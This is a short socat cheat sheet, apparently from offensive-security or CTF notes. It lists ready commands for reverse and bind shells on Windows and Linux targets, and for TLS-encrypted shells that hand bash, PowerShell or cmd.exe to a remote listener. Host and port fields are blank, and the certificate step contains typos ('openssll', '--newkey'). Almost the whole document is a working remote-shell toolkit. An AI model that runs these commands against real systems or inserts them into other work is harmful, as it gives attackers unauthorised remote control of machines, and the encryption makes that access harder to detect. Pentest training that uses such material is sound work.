# socat cheat sheet ## Reverse Shell ### reverse shell listener ```sh socat tcp-l: - ``` ```sh socat TCP-L: file:`tty`,raw,echo=0 ``` ### windows target ```sh socat TCP:: EXEC:powershell.exe,pipes ``` ### linux target ```sh socat TCP:: EXEC:"bash -li",pty,stderr,sigint,setsid,sane ``` ## Bind Shell ### generic connect ```sh socat TCP:: - ``` ### windows target listener ```sh socat TCP-L: EXEC:powershell.exe,pipes ``` ### linux target listener ```sh socat TCP-L: EXEC:"bash -li" ``` ## Connect from statically compiled socat to LHOST Binary is inside this dir ```sh socat TCP:: EXEC:"bash -li",pty,stderr,sigint,setsid,sane ``` ## Encrypted Shell ### create key + cert ```sh openssll req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt ``` ### create pem file ```sh cat shell.key shell.crt > shell.pem ``` ### reverse shell listener ```sh socat openssl-listen:,cert=shell.pem,verify=0 - ``` ```sh socat openssl-listen:,cert=shell.pem,verify=0 file:`tty`,raw,echo=0 ``` ### connecting shell on target to listener ```sh socat openssl::,verify=0 exec:/bin/bash ``` ```sh socat openssl::,verify=0 exec:"bash -li",pty,stderr,sigint,setsid,sane ``` ### encrypted bind shell on windows listening Target: ```sh socat openssl-listen::,verify=0 exec:cmd.exe,pipes ``` ### encrypted bind shell attacker connecting ```sh socat openssl:,cert=shell.pem,verify=0 - ```